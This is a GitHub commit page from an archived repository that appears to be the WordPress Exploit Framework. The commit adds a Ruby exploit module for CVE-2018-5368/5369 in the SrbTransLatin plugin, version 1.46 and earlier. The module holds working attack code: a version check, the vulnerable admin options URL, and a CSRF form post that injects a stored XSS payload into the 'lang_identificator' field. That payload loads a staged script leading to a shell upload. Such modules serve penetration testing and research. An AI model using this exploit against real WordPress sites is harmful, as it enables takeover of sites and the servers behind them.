This repository was archived by the owner on Oct 22, 2020. It is now read-only.
File tree Expand file tree Collapse file tree 1 file changed +42
-0
lines changed
modules/exploit/xss/stored Expand file tree Collapse file tree 1 file changed +42
-0
lines changed Original file line number Diff line number Diff line change 1+ # frozen_string_literal: true
2+
3+ class Wpxf ::Exploit ::SrbtranslatinCsrfXssShellUpload < Wpxf ::Module
4+ include Wpxf ::WordPress ::StagedReflectedXss
5+
6+ def initialize
7+ super
8+
9+ update_info (
10+ name : 'SrbTransLatin <= 1.46 CSRF Stored XSS Shell Upload' ,
11+ author : [
12+ 'd4wner' , # Disclosure
13+ 'rastating' # WPXF module
14+ ] ,
15+ references : [
16+ [ 'CVE' , '2018-5368' ] ,
17+ [ 'CVE' , '2018-5369' ] ,
18+ [ 'WPVDB' , '9004' ]
19+ ] ,
20+ date : 'Jan 11 2018'
21+ )
22+ end
23+
24+ def check
25+ check_plugin_version_from_changelog ( 'srbtranslatin' , 'readme.txt' , '1.47' )
26+ end
27+
28+ def vulnerable_url
29+ "#{ normalize_uri ( wordpress_url_admin , 'options-general.php' ) } ?page=srbtranslatoptions"
30+ end
31+
32+ def initial_script
33+ create_basic_post_script (
34+ vulnerable_url ,
35+ 'lang_identificator' => "script\\ \" ><script>#{ xss_ascii_encoded_include_script } <\\ /script>" ,
36+ 'stl_default_language' => 'cir' ,
37+ 'file_lang_delimiter' => '=' ,
38+ 'sanitize_file_names' => 'on' ,
39+ 'Submit' => 'Update Options'
40+ )
41+ end
42+ end
You can’t perform that action at this time.
0 commit comments